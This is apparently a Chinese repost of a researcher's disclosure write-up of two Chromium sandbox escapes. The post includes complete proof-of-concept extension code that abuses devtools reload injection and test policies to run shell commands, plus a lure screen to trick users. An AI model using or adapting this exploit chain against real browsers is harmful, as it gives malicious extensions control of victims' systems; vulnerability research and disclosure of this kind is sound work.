通过DevTools逃离Chrome沙盒(CVE-2024-6778和CVE-2024-5836)

介绍

这篇博文详细介绍了如何发现CVE-2024-6778和CVE-2024-5836的,这是Chromium web浏览器中的漏洞,允许从浏览器扩展(带有一点点用户交互)中进行沙盒逃逸。

简而言之,这些漏洞允许恶意的Chrome扩展在你的电脑上运行任何shell命令,然后可能被用来安装一些更糟糕的恶意软件。攻击者不仅可以窃取你的密码并破坏你的浏览器,还可以控制你的整个操作系统。

webis和Chrome沙盒

Chromium运行的所有不受信任的代码都是沙箱化的,这意味着它运行在一个孤立的环境中,不能访问任何它不应该访问的东西。在实践中,这意味着在Chrome扩展中运行的Javascript代码只能与自身和它所访问的Javascript api进行交互。扩展可以访问哪些api取决于用户授予它的权限。然而,使用这些权限最糟糕的情况是窃取某人的登录和浏览器历史记录。所有内容都应该包含在浏览器中。

另外,Chromium有几个网页用来显示它的GUI,使用一种叫做web的机制。它们以 chrome:// URL协议为前缀,包括您可能使用过的 chrome://settingschrome://history 。它们的目的是为Chromium的特性提供面向用户的UI,同时使用HTML、CSS和Javascript等web技术编写。由于它们需要显示和修改特定于浏览器内部的信息,因此它们被认为具有特权,这意味着它们可以访问其他地方无法使用的私有api。这些私有api允许运行在web前端的Javascript代码与浏览器本身的本机C代码通信。

防止攻击者访问web非常重要,因为在web页面上运行的代码可以完全绕过Chromium沙箱。例如,在 chrome://downloads 上,单击 .exe 文件的下载将运行可执行文件,因此,如果该操作是通过恶意脚本执行的,则该脚本可以逃离沙箱。

chrome:// 页面上运行不受信任的Javascript是一种常见的攻击向量,因此这些私有api的接收端执行一些验证,以确保它们没有做任何用户正常情况下无法做的事情。回到 chrome://downloads 的例子,Chromium通过要求从下载页面打开文件来防止这种情况,触发它的动作必须来自实际的用户输入,而不仅仅是Javascript。

当然,有时候使用这些检查会出现Chromium开发人员没有考虑到的边缘情况。

关于企业政策

当我研究Chromium企业策略系统时,我开始寻找这个漏洞。它旨在成为管理员强制将某些设置应用于公司或学校拥有的设备的一种方式。通常,这些策略都与谷歌账户绑定,并从谷歌自己的管理服务器下载。

企业策略还包括用户通常无法修改的内容。例如,你可以用策略做的一件事是禁用恐龙彩蛋游戏:

此外,策略本身分为两类:用户策略和设备策略。

设备策略用于管理整个Chrome OS设备的设置。它们可以像限制哪些帐户可以登录或设置发布通道一样简单。其中一些甚至可以改变设备固件的行为(用于防止开发者模式或降级操作系统)。但是,由于此漏洞不属于Chrome OS,因此设备策略现在可以忽略不计。

用户策略应用于特定的用户或浏览器实例。与设备策略不同,这些策略可以在所有平台上使用,并且可以在本地设置,而无需依赖谷歌的服务器。例如,在Linux上,在 /etc/opt/chrome/policies 中放置一个JSON文件将为设备上的所有Google Chrome实例设置用户策略。

使用这种方法设置用户策略有些不方便,因为写入策略目录需要root权限。但是,如果有一种方法可以在不创建文件的情况下修改这些策略呢?

策略界面

值得注意的是,Chromium有一个用于查看应用于当前设备的策略的web,位于 chrome://policy 。它显示了应用的策略列表、策略服务的日志,以及将这些策略导出到JSON文件的功能。

这很好,但通常无法从该页编辑策略。当然,除非有一个未记录的特性可以做到这一点。

滥用策略测试页面

当我在做关于这个主题的研究时,我在Chrome v117的Chrome企业发布说明中遇到了以下条目:

chrome://policy/test将允许客户在Beta, Dev, Canary渠道上测试策略。如果有足够的客户需求,我们将考虑将此功能引入稳定渠道。

事实证明,这是Chromium文档中唯一提到这个特性的地方。因此,在没有其他地方可看的情况下,我检查了Chromium源代码,以弄清楚它应该如何工作。

使用Chromium代码搜索,我搜索了 chrome://policy/test ,这使我找到了策略测试页面的web代码的JS部分。然后我注意到它用于设置测试策略的私有API调用:

export class PolicyTestBrowserProxy {applyTestPolicies(policies: string, profileSeparationResponse: string) {return sendWithPromise('setLocalTestPolicies', policies, profileSeparationResponse);}...
}

还记得我说过这些web页面可以访问私有api吗? sendWithPromise() 是其中之一。 sendWithPromise() 实际上只是 chrome.send() 的包装器,它向用C编写的处理程序函数发送请求。然后处理函数可以在浏览器内部做任何它需要做的事情,然后它可以返回一个值,该值通过 sendWithPromise() 传递回JS端。

所以,一时兴起,我决定看看在JS控制台中调用这个会做什么。

//import cr.js since we need sendWithPromise
let cr = await import('chrome://resources/js/cr.js');
await cr.sendWithPromise("setLocalTestPolicies", "", "");

不幸的是,运行它只会使浏览器崩溃。有趣的是,崩溃日志中出现了以下一行: [17282:17282:1016/022258.064657:FATAL:local_test_policy_loader.cc(68)] Check failed: policies.has_value() && policies->is_list(). List of policies expected

看起来它需要一个JSON字符串,其中包含策略数组作为第一个参数,这是有意义的。那我们就提供一个吧。幸运的是 policy_test_browser_proxy.ts 告诉我它期望的格式,所以我不必做太多的猜测。

let cr = await import('chrome://resources/js/cr.js');
let policy = JSON.stringify([{ name: "AllowDinosaurEasterEgg",value: false,level: 1, source: 1,scope: 1}
]);
await cr.sendWithPromise("setLocalTestPolicies", policy, "");

运行完这个之后…它只是工作?我只是通过在 chrome://policy 上运行一些Javascript来设置一个任意的用户策略。考虑到我从来没有显式地启用过这个特性,显然这里出了问题。

web界面验证失败

对于某些上下文中,策略测试页面在正确启用时应该是这样的。

要正确启用此页面,必须设置 PolicyTestPageEnabled 策略(也没有在任何地方记录)。如果一开始没有设置该策略,那么 chrome://policy/test 只是重定向回 chrome://policy

那么,为什么我能够设置测试策略而不管我禁用了 PolicyTestPageEnabled 策略呢?为了调查这一点,我再次查看了铬代码搜索,并在C端找到了 setLocalTestPolicies 函数的web处理程序。

void PolicyUIHandler::HandleSetLocalTestPolicies(const base::Value::List& args) {std::string policies = args[1].GetString();policy::LocalTestPolicyProvider* local_test_provider =static_cast<policy::LocalTestPolicyProvider*>(g_browser_process->browser_policy_connector()->local_test_policy_provider());CHECK(local_test_provider);Profile::FromWebUI(web_ui())->GetProfilePolicyConnector()->UseLocalTestPolicyProvider();local_test_provider->LoadJsonPolicies(policies);AllowJavascript();ResolveJavascriptCallback(args[0], true);
}

该函数执行的唯一验证是检查 local_test_provider 是否存在,否则将导致整个浏览器崩溃。那么 local_test_provider 在什么条件下会存在呢?

为了回答这个问题,我找到了实际创建本地测试策略提供程序的代码。

std::unique_ptr<LocalTestPolicyProvider>
LocalTestPolicyProvider::CreateIfAllowed(version_info::Channel channel) {if (utils::IsPolicyTestingEnabled(/*pref_service=*/nullptr, channel)) {return base::WrapUnique(new LocalTestPolicyProvider());}return nullptr;
}

因此,这个函数实际上执行检查,以查看是否允许测试策略。如果不允许,则返回null,并且尝试像前面展示的那样设置测试策略将导致崩溃。

也许 IsPolicyTestingEnabled() 是行为不端?函数是这样的:

bool IsPolicyTestingEnabled(PrefService* pref_service,version_info::Channel channel) {if (pref_service &&!pref_service->GetBoolean(policy_prefs::kPolicyTestPageEnabled)) {return false;}if (channel == version_info::Channel::CANARY ||channel == version_info::Channel::DEFAULT) {return true;}return false;
}

该函数首先检查 kPolicyTestPageEnabled 是否为true,这是在正常情况下应该启用策略测试页面的策略。然而,您可能注意到,当调用 IsPolicyTestingEnabled() 时,第一个参数 pref_service 被设置为空。这将导致检查被完全忽略。

现在,剩下的唯一检查是 channel 。在这种情况下,“通道”是指浏览器的发布通道,类似于稳定、beta、开发或金丝雀。所以在这种情况下,只允许 Channel::CANARYChannel::DEFAULT 。这一定意味着我的浏览器被设置为 Channel::CANARYChannel::DEFAULT

那么浏览器知道它在哪个频道吗?这里是它确定的函数:

// Returns the channel state for the browser based on branding and the
// CHROME_VERSION_EXTRA environment variable. In unbranded (Chromium) builds,
// this function unconditionally returns `channel` = UNKNOWN and
// `is_extended_stable` = false. In branded (Google Chrome) builds, this
// function returns `channel` = UNKNOWN and `is_extended_stable` = false for any
// unexpected $CHROME_VERSION_EXTRA value.
ChannelState GetChannelImpl() {
#if BUILDFLAG(GOOGLE_CHROME_BRANDING)const char* const env = getenv("CHROME_VERSION_EXTRA");const std::string_view env_str =env ? std::string_view(env) : std::string_view();// Ordered by decreasing expected population size.if (env_str == "stable")return {version_info::Channel::STABLE, /*is_extended_stable=*/false};if (env_str == "extended")return {version_info::Channel::STABLE, /*is_extended_stable=*/true};if (env_str == "beta")return {version_info::Channel::BETA, /*is_extended_stable=*/false};if (env_str == "unstable")  // linux version of "dev"return {version_info::Channel::DEV, /*is_extended_stable=*/false};if (env_str == "canary") {return {version_info::Channel::CANARY, /*is_extended_stable=*/false};}
#endif  // BUILDFLAG(GOOGLE_CHROME_BRANDING)return {version_info::Channel::UNKNOWN, /*is_extended_stable=*/false};
}

如果你不知道C预处理器是如何工作的, #if BUILDFLAG(GOOGLE_CHROME_BRANDING) 部分意味着只有当 BUILDFLAG(GOOGLE_CHROME_BRANDING) 为真时才会编译所包含的代码。否则这部分代码就不存在了。考虑到我使用的是普通的Chromium而不是品牌的Google Chrome,通道将始终是 Channel::UNKNOWN 。这也意味着,不幸的是,这个bug不会在Google Chrome的稳定版本上工作,因为发布通道在那里被设置为适当的值。

enum class Channel {UNKNOWN = 0,DEFAULT = UNKNOWN,CANARY = 1,DEV = 2,BETA = 3,STABLE = 4,
};

查看通道的枚举定义,可以看到 Channel::UNKNOWN 实际上与 Channel::DEFAULT 相同。因此,在Chromium及其衍生物上, IsPolicyTestingEnabled() 中的发布通道检查总是通过,函数总是返回true。

通过浏览器切换器逃离沙盒

那么,我可以使用设置任意用户策略的功能做些什么呢?为了回答这个问题,我查看了Chrome的企业政策列表。

企业策略中存在的特性之一是遗留浏览器支持模块,也称为浏览器切换器。它的设计是为了适应ie用户,当用户访问Chromium中的某些url时,可以启动一个替代浏览器。该特性的行为都可以通过策略进行控制。

AlternativeBrowserPath 政策尤其引人注目。结合 AlternativeBrowserParameters ,这允许Chromium作为“备用浏览器”启动任何shell命令。但是,请记住这只适用于Linux、MacOS和Windows,否则浏览器切换器策略不存在。

例如,我们可以设置以下策略来让Chromium启动计算器:

name: "BrowserSwitcherEnabled"
value: truename: "BrowserSwitcherUrlList"
value: ["example.com"]name: "AlternativeBrowserPath"
value: "/bin/bash"name: "AlternativeBrowserParameters"
value: ["-c", "xcalc # ${url}"]

当浏览器试图导航到 example.com 时,浏览器切换器将启动并启动 /bin/bash["-c", "xcalc # https://example.com"] 作为参数传入。 -c 告诉bash运行下一个参数中指定的命令。您可能已经注意到,页面URL被替换为 ${url} ,因此为了防止这混淆命令,我们可以简单地将它放在 # 后面,使其成为注释。因此,我们能够欺骗Chromium运行 /bin/bash -c 'xcalc # https://example.com'

chrome://policy 页面中使用它非常简单。我可以使用上述方法设置这些策略,然后调用 window.open("https://example.com") 来触发浏览器切换器。

let cr = await import('chrome://resources/js/cr.js');
let policy = JSON.stringify([{ //enable the browser switcher featurename: "BrowserSwitcherEnabled",value: true,level: 1,source: 1,scope: 1}, { //set the browser switcher to trigger on example.comname: "BrowserSwitcherUrlList",value: ["example.com"],level: 1,source: 1,scope: 1}, { //set the executable path to launchname: "AlternativeBrowserPath",value: "/bin/bash",level: 1,source: 1,scope: 1}, { //set the arguments for the executablename: "AlternativeBrowserParameters",value: ["-c", "xcalc # https://example.com"],level: 1,source: 1,scope: 1}
]);//set the policies listed above
await cr.sendWithPromise("setLocalTestPolicies", policy, "");
//navigate to example.com, which will trigger the browser switcher
window.open("https://example.com")

这就是沙盒逃生。我们已经成功地通过运行在 chrome://policy 上的Javascript运行了一个任意shell命令。

破坏Devtools API

您可能已经注意到,到目前为止,这种攻击要求受害者在 chrome://policy 上将恶意代码粘贴到浏览器控制台。实际上,说服别人这样做是相当困难的,这会让bug变得毫无用处。现在,我的新目标是在 chrome://policy 中自动运行这个JS。

最可能的方法是创建一个恶意的Chrome扩展。Chrome扩展api具有相当大的攻击面,并且扩展本身就具有将JS注入页面的能力。但是,正如我前面提到的,扩展不允许在特权web页面上运行JS,所以我需要找到一种方法来解决这个问题。

扩展在页面上执行JS有4种主要方式:

  • chrome.scripting ,它直接在特定的选项卡中执行JS。
  • chrome.tabs 在Manifest v2中,其工作原理类似于 chrome.scripting
  • chrome.debugger 使用远程调试协议。
  • chrome.devtools.inspectedWindow ,当devtools打开时与被检查的页面交互。

在调查这个问题时,我决定研究 chrome.devtools.inspectedWindow ,因为我觉得它是最模糊的,因此最不坚固。这个假设被证明是正确的。

chrome.devtools api的工作方式是,所有使用该api的扩展必须在其清单中包含 devtools_page 字段。例如:

{"name": "example extension","version": "1.0","devtools_page": "devtools.html",...
}

从本质上讲,它所做的就是指定每当用户打开devtools时,devtools页面将 devtools.html 作为iframe加载。在该iframe内,扩展可以使用所有 chrome.devtools api。您可以参考API文档了解细节。

在研究 chrome.devtools.inspectedWindow api时,我注意到David Erceg之前的一个bug报告,其中涉及到 chrome.devtools.inspectedWindow.eval() 的一个bug。他设法在web上执行代码,方法是在正常页面上打开devtools,然后运行 chrome.devtools.inspectedWindow.eval() ,并使用一个脚本使页面崩溃。然后,可以将这个崩溃的选项卡导航到web页面,在那里将重新运行eval请求,从而在那里获得代码执行。

值得注意的是, chrome.devtools api应该通过在被检查的页面导航到web后禁用它们的使用来防止这种特权执行。正如David Erceg在他的bug报告中所演示的那样,绕过这个问题的关键是在Chrome决定禁用devtools API之前发送eval请求,并确保请求到达web页面。

在阅读了该报告之后,我想知道 chrome.devtools.inspectedWindow.reload() 是否可能有类似的情况。这个函数也能够在被检查的页面上运行JS,只要将 injectedScript 传递给它。

当被检查的页面是属于web的 about:blank 页面时,当我尝试调用 inspectedWindow.reload() 时,出现了可利用的第一个迹象。 about:blank 页面在这方面是唯一的,因为即使URL不是特殊的,它们也继承了打开它们的页面的权限和来源。因为从web打开的 about:blank 页面是特权的,您会期望尝试评估该页上的JS将被阻止。

令人惊讶的是,这确实有效。注意,警报的标题中包含了该页的起源,即 chrome://settings ,因此该页实际上具有特权。但是等等,devtools API不是应该通过完全禁用API来防止这种事情吗?它不考虑 about:blank 页面的边缘情况。下面是处理禁用API的代码:

private inspectedURLChanged(event: Common.EventTarget.EventTargetEvent<SDK.Target.Target>): void {if (!ExtensionServer.canInspectURL(event.data.inspectedURL())) {this.disableExtensions();return;}...
}

重要的是,这里只考虑URL,而不考虑页面的来源。正如我前面所演示的,这可以是两个不同的东西。即使URL是良性的,源也可能不是。

滥用 about:blank 很好,但在创建漏洞利用链的上下文中并不是很有用。我想让代码执行的页面, chrome://policy ,从不打开任何 about:blank 弹出窗口,所以这已经是一个死胡同。然而,我注意到即使 inspectedWindow.eval() 失败, inspectedWindow.reload() 仍然成功运行并在 chrome://settings 上执行JS。这表明 inspectedWindow.eval() 有自己的检查,看看是否被检查页面的起源是允许的,而 inspectedWindow.reload() 没有自己的检查。

然后,我想知道我是否可以直接发送 inspectedWindow.reload() 调用,这样,如果这些请求中至少有一个落在web页面上,我就可以执行代码。

function inject_script() {chrome.devtools.inspectedWindow.reload({"injectedScript": `//check the origin, this script won't do anything on a non chrome pageif (!origin.startsWith("chrome://")) return;alert("hello from chrome.devtools.inspectedWindow.reload");`});
}setInterval(() => {for (let i=0; i<5; i++) {inject_script(); }
}, 0);  chrome.tabs.update(chrome.devtools.inspectedWindow.tabId, {url: "chrome://policy"});

这是攻击链的最后一个环节。这个竞争条件依赖于被检查的页面和devtools页面是不同的进程。当在巡检页面中跳转到web界面时,在devtools页面实现并关闭API之前会有一小段时间窗口。如果在此时间间隔内调用 inspectedWindow.reload() ,则重新加载请求将在web页面上结束。

编写POC

既然我已经完成了开发的所有步骤,我就开始将POC代码放在一起。概括地说,这个POC必须完成以下工作:

  1. 使用 chrome.devtools.inspectedWindow.reload() 中的竞争条件在 chrome://policy上执行JS负载
  2. 该负载调用 sendWithPromise("setLocalTestPolicies", policy) 来设置自定义用户策略。
  3. 设置 BrowserSwitcherEnabledBrowserSwitcherUrlListAlternativeBrowserPathAlternativeBrowserParameters ,指定 /bin/bash 作为“备用浏览器”。
  4. 浏览器切换器由一个简单的 window.open() 调用触发,该调用执行一个shell命令。

最终的POC是这样的:

let executable, flags;
if (navigator.userAgent.includes("Windows NT")) {executable = "C:\\Windows\\System32\\cmd.exe";flags = ["/C", "calc.exe & rem ${url}"];
}
else if (navigator.userAgent.includes("Linux")) {executable = "/bin/bash";flags = ["-c", "xcalc # ${url}"];
}
else if (navigator.userAgent.includes("Mac OS")) {executable = "/bin/bash";flags = ["-c", "open -na Calculator # ${url}"];
}//function which injects the content script into the inspected page
function inject_script() {chrome.devtools.inspectedWindow.reload({"injectedScript": `(async () => {//check the origin, this script won't do anything on a non chrome pageconsole.log(origin);if (!origin.startsWith("chrome://")) return;//import cr.js since we need sendWithPromiselet cr = await import('chrome://resources/js/cr.js');//here are the policies we are going to setlet policy = JSON.stringify([{ //enable the browser switcher featurename: "BrowserSwitcherEnabled",value: true,level: 1,source: 1,scope: 1}, { //set the browser switcher to trigger on example.comname: "BrowserSwitcherUrlList",value: ["example.com"],level: 1,source: 1,scope: 1}, { //set the executable path to launchname: "AlternativeBrowserPath",value: ${JSON.stringify(executable)},level: 1,source: 1,scope: 1}, { //set the arguments for the executablename: "AlternativeBrowserParameters",value: ${JSON.stringify(flags)},level: 1,source: 1,scope: 1}]);//set the policies listed aboveawait cr.sendWithPromise("setLocalTestPolicies", policy, "");setTimeout(() => {//navigate to example.com, which will trigger the browser switcherlocation.href = "https://example.com";//open a new page so that there is still a tab remaining after thisopen("about:blank");  }, 100);})()`});
}//interval to keep trying to inject the content script
//there's a tiny window of time in which the content script will be
//injected into a protected page, so this needs to run frequently
function start_interval() {setInterval(() => {//loop to increase our oddsfor (let i=0; i<3; i++) {inject_script(); }}, 0);  
}async function main() {//start the interval to inject the content scriptstart_interval();//navigate the inspected page to chrome://policylet tab = await chrome.tabs.get(chrome.devtools.inspectedWindow.tabId);await chrome.tabs.update(tab.id, {url: "chrome://policy"});//if this times out we need to retry or abortawait new Promise((resolve) => {setTimeout(resolve, 1000)});let new_tab = await chrome.tabs.get(tab.id);//if we're on the policy page, the content script didn't get injectedif (new_tab.url.startsWith("chrome://policy")) {//navigate back to the original pageawait chrome.tabs.update(tab.id, {url: tab.url});//discarding and reloading the tab will close devtoolssetTimeout(() => {chrome.tabs.discard(tab.id);}, 100)}//we're still on the original page, so reload the extension frame to retryelse {location.reload();}
}main();

有了这些,我就准备写bug报告了。我最终完成了脚本,编写了一份漏洞解释,在多个操作系统上进行了测试,并将其发送给谷歌。

然而,此时仍然存在一个明显的问题: .inspectedWindow.reload() 的竞争条件不是很可靠。我设法调整它,使它在70%的时间内工作,但这仍然不够。尽管它能够正常工作的事实确实使其成为一个严重的漏洞,但不可靠性将大大降低其严重性。所以我开始努力寻找更好的方法。

POC优化

还记得我在David Erceg的bug报告中提到的,他利用了选项卡崩溃后调试器请求仍然存在的事实吗?我想知道这个方法是否也适用于 inspectedWindow.reload() ,所以我测试了它。我还对 debugger 语句进行了修改,似乎在一行中触发调试器两次会导致选项卡崩溃。

所以我开始写一个新的POC:

let tab_id = chrome.devtools.inspectedWindow.tabId;//function which injects the content script into the inspected page
function inject_script() {chrome.devtools.inspectedWindow.reload({"injectedScript": `//check the origin, so that the debugger is triggered instead if we are not on a chrome pageif (!origin.startsWith("chrome://")) {debugger;return;}alert("hello from chrome.devtools.inspectedWindow.reload");`});
}function sleep(ms) {return new Promise((resolve) => {setTimeout(resolve, ms)})
}async function main() {//we have to reset the tab's origin here so that we don't crash our own extension process//this navigates to example.org which changes the tab's originawait chrome.tabs.update(tab_id, {url: "https://example.org/"});await sleep(500);//navigate to about:blank from within the example.org page which keeps the same originchrome.devtools.inspectedWindow.reload({"injectedScript": `location.href = "about:blank";` })await sleep(500);inject_script(); //pause the current tabinject_script(); //calling this again crashes the tab and queues up our javascriptawait sleep(500);chrome.tabs.update(tab_id, {url: "chrome://settings"});
}main();

而且很有效!这种方法的优点在于,它消除了对竞争条件的需求,并使攻击100%可靠。然后,我将新的POC和所有 chrome://policy 内容上传到bug报告线程的评论中。

但为什么这个疏忽仍然存在,即使它应该在4年前被修补?我们可以通过查看之前的漏洞是如何被修补的来找出原因。谷歌的解决方案是在标签崩溃后清除所有未决的调试器请求,这似乎是一个明智的方法:

void DevToolsSession::ClearPendingMessages(bool did_crash) {for (auto it = pending_messages_.begin(); it != pending_messages_.end();) {const PendingMessage& message = *it;if (SpanEquals(crdtp::SpanFrom("Page.reload"),crdtp::SpanFrom(message.method))) {++it;continue;}// Send error to the client and remove the message from pending.std::string error_message =did_crash ? kTargetCrashedMessage : kTargetClosedMessage;SendProtocolResponse(message.call_id,crdtp::CreateErrorResponse(message.call_id,crdtp::DispatchResponse::ServerError(error_message)));waiting_for_response_.erase(message.call_id);it = pending_messages_.erase(it);}
}

您可能会注意到,它似乎包含了 Page.reload 请求的异常,因此它们不会被清除。在内部, inspectedWindow.reload() API发送一个 Page.reload 请求,因此 inspectedWindow.reload() API调用不受此补丁的影响。谷歌确实修补了这个漏洞,然后添加了一个例外,这使得这个漏洞再次出现。我猜他们没有意识到 Page.reload 也可以运行脚本。

另一个谜是为什么当 debugger 语句运行两次时页面崩溃。我仍然不完全确定这一个,但我认为我把它缩小到铬的渲染器代码中的一个功能。它特别发生在Chromium检查导航状态时,当它遇到意外状态时,它就崩溃了。当RenderFrameImpl::SynchronouslyCommitAboutBlankForBug778318被调用时,这个状态会变得混乱(这是处理 about:blank 的另一个副作用)。当然,任何类型的崩溃都会发生,比如 [...new Array(2**31)] ,这会导致选项卡耗尽内存。然而, debugger 崩溃是更快触发,所以这就是我在我的最终POC中使用的。

无论如何,下面是这个漏洞的实际情况:

顺便说一下,您可能已经注意到显示的“扩展安装错误”屏幕。这只是为了欺骗用户打开devtools,从而触发导致沙盒逃逸的链条。

谷歌的反馈

在报告了这个漏洞后,谷歌迅速确认了这个漏洞,并将其分类为P1/S1,这意味着高优先级和高严重性。在接下来的几周内,实施了以下修复:

  • Page.reload 命令添加 loaderId 参数,并检查呈现端 loaderID -这确保命令仅对单个源有效,并且如果命令无意中到达特权页面将不起作用。
  • 检查 inspectedWindow.reload() 函数中的URL—现在,该函数不仅依赖于撤销访问的扩展API。
  • 检查测试策略是否在web处理程序中启用—通过在处理程序功能中添加工作检查,可以防止完全设置测试策略。

最终,涉及竞态条件的漏洞被分配为CVE-2024-5836, CVSS严重性评分为8.8(高)。涉及被检查页面崩溃的漏洞被分配为CVE-2024-6778,严重性评分也为8.8。

结论

我想所有这些的主要收获是,如果你在正确的地方,最简单的错误可以相互叠加,导致一个惊人的高严重性的漏洞。考虑到 inspectedWindow.reload 漏洞实际上早在Chrome v45就存在,你也不能相信非常老的代码在多年后仍然安全。此外,像策略测试页面错误一样,向每个人发布完全没有文档记录、不完整和不安全的特性并不是一个好主意。最后,在修复漏洞时,您应该检查是否可能存在类似的错误,并尝试修复它们。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/455088.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

npm run serve 提示异常Cannot read property ‘upgrade‘ of undefined

npm run serve 提示Cannot read property ‘upgrade’ of undefined 一般是proxy的target代理域名问题导致的&#xff0c;如下&#xff1a; 解决方案&#xff1a; proxy: { “/remoteDealerReportApi”: { target: ‘http://demo-.com.cn’, //此域名有问题&#xff0c;会导致…

Linux-基础命令及相关知识2

补充&#xff1a; 1、A命令&#xff08;echo&#xff09;既有可能是内部命令也有可能是外部命令&#xff0c;例如命令A既有可能在bash上也有可能在csh上&#xff0c;为了防止A在某些shell程序里不起作用&#xff0c;可以将A命令设置为外部命令&#xff08;环境变量路径上&…

【JAVA毕设】基于JAVA的酒店管理系统

一、项目介绍 本系统前端框架采用了比较流行的渐进式JavaScript框架Vue.js。使用Vue-Router实现动态路由&#xff0c;Ajax实现前后端通信&#xff0c;Element-plus组件库使页面快速成型。后端部分&#xff1a;采用SpringBoot作为开发框架&#xff0c;同时集成MyBatis、Redis、…

Chrome DevTools:Console Performance 汇总篇

Chrome DevTools Chrome 开发者工具是一套 Web 开发者工具&#xff0c;直接内置于 Google Chrome 浏览器中。 开发者工具可以帮助您即时修改页面和快速诊断问题&#xff0c;最终帮助您更快地构建更好的网站。 一、开启 DevTools 右上角菜单 > 更多工具 > 开发者工具 页面…

如何用mmclassification训练多标签多分类数据

这里使用的源码版本是 mmclassification-0.25.0 训练数据标签文件格式如下&#xff0c;每行的空格前面是路径&#xff08;图像文件所在的绝对路径&#xff09;&#xff0c;后面是标签名&#xff0c;因为特殊要求这里我的每张图像都记录了三个标签每个标签用“,”分开&#xff0…

力扣71~75题

题71&#xff08;中等&#xff09;&#xff1a; python代码&#xff1a; class Solution:def simplifyPath(self, path: str) -> str:#首先根据/分割字符串&#xff0c;再使用栈来遍历存储p_listpath.split(/)p_stack[]for i in p_list:#如果为空则肯定是//或者///if i:con…

mac m1 安装openresty以及redis限流使用

一切源于一篇微信文章 早上我上着班&#xff0c;听着歌1.打算使用腾讯云服务器centos-7实验&#xff1a;安装ngx_devel_kitmac m1 os 12.7.6 安装openresty测试lua限流: 终于回到初心了&#xff01; 早上我上着班&#xff0c;听着歌 突然微信推送了一篇文章《Nginx 实现动态封…

记录一次从nacos配置信息泄露到redis写计划任务接管主机

经典c段打点开局。使用dddd做快速的打点发现某系统存在nacos权限绕过 有点怀疑是蜜罐&#xff0c;毕竟nacos这实在是有点经典 nacos利用 老规矩见面先上nacos利用工具打一波看看什么情况 弱口令nacos以及未授权访问&#xff0c;看这记录估计被光顾挺多次了啊 手动利用Nacos-…

MySQL - Navicat自动备份MySQL数据

对于从事IT开发的工程师&#xff0c;数据备份我想大家并不陌生&#xff0c;这件工程太重要了&#xff01;对于比较重要的数据&#xff0c;我们希望能定期备份&#xff0c;每天备份1次或多次&#xff0c;或者是每周备份1次或多次。 如果大家在平时使用Navicat操作数据库&#x…

深入解析Python数据容器

Python数据容器 1&#xff0c;数据容器介绍2&#xff0c;数据容器的分类3&#xff0c;数据容器&#xff1a;list&#xff08;列表&#xff09;3.1&#xff0c;列表的定义3.2&#xff0c;列表的下标索引3.3&#xff0c;列表的常用操作3.3.1&#xff0c;查找指定元素下标3.3.2&am…

【OpenAI】第三节(上下文)什么是上下文?全面解读GPT中的上下文概念与实际案例

文章目录 一、GPT上下文的定义1.1 上下文的组成 二、GPT上下文的重要性2.1 提高生成文本的相关性2.2 增强对话的连贯性2.3 支持多轮对话 三、使用上下文改善编程对话3.1 使用上下文的概念3.2 使用上下文改善对话的作用3.3 使用上下文改善对话的方法3.4 案例分析 四、利用历史记…

安装Openeuler出现的问题

1.正常安装中&#xff0c;不显示已有的网络&#xff0c;ens33 尝试&#xff1a;手敲ens33配置&#xff0c;包括使用uuidgen ens33 配置还是不行 可能解决办法1&#xff1a;更换安装的版本。譬如说安装cenos 7 64位 启动虚拟机&#xff0c;更换版本之后的安装界面&#xff0c;…

Excel常用操作培训

以下是Excel的基本操作&#xff0c;内部培训专用。喜欢就点赞收藏哦&#xff01; 目录 1 Excel基本操作 1.1 常用快捷键 1.1.1快捷键操作工作簿、工作表 1.1.2快捷键操作 1.1.3单元格操作 1.1.4输入操作 2.1 常见功能描述 2.1.1 窗口功能栏 2.1.2 剪切板 2.1.3 字体…

计算机网络——传输层服务

传输层会给段加上目标ip和目标端口号 应用层去识别报文的开始和结束

海南聚广众达电子商务咨询有限公司靠谱吗怎么样?

在当今这个数字化浪潮席卷全球的时代&#xff0c;抖音电商以其独特的魅力成为了众多商家争相入驻的新蓝海。而在这片浩瀚的电商海洋中&#xff0c;如何找到一家既专业又可靠的合作伙伴&#xff0c;成为了众多商家心中的一大难题。今天&#xff0c;我们就来深入剖析一下海南聚广…

组件可控个性化生成新方法MagicTailor:生成过程中可以自由地定制ID

今天的文章来自公众号粉丝投稿&#xff0c;文章提出了一种组件可控的个性化生成方法MagicTailor&#xff0c;旨在个性化生成过程中可以自由地定制ID的特定组件。 相关链接 论文阅读&#xff1a;https://arxiv.org/pdf/2410.13370 项目主页&#xff1a;https://correr-zhou.gi…

拼多多详情API接口的获取与应用

一、拼多多详情API接口概述 1. API接口定义与功能 拼多多开放平台为开发者提供了丰富的API接口&#xff0c;其中商品详情API接口尤为重要。该接口允许开发者通过编程方式获取商品的详细信息&#xff0c;包括商品标题、价格、描述、图片、规格参数、库存等。这些信息对于电商数…

无人机之自主飞行关键技术篇

无人机自主飞行指的是无人机利用先进的算法和传感器&#xff0c;实现自我导航、路径规划、环境感知和自动避障等能力。这种飞行模式大大提升了无人机的智能化水平和操作的自动化程度。 一、传感器技术 传感器是无人机实现自主飞行和数据采集的关键组件&#xff0c;主要包括&a…

Unity3D学习FPS游戏(1)获取素材、快速了解三维模型素材(骨骼、网格、动画、Avatar、材质贴图)

前言&#xff1a;最近重拾Unity&#xff0c;准备做个3D的FPS小游戏&#xff0c;这里以官方FPS案例素材作为切入。 导入素材和素材理解 安装Unity新建项目新建文件夹和Scene如何去理解三维模型素材找到模型素材素材预制体结构骨骼和网格材质&#xff08;Material&#xff09;、…

No.18 笔记 | XXE(XML 外部实体注入)漏洞原理、分类、利用及防御整理

一、XXE 漏洞概述 &#xff08;一&#xff09;定义 XXE&#xff08;XML 外部实体注入&#xff09;漏洞源于 XML 解析器对外部实体的不当处理&#xff0c;攻击者借此注入恶意 XML 实体&#xff0c;可实现敏感文件读取、远程命令执行和内网渗透等危险操作。 &#xff08;二&am…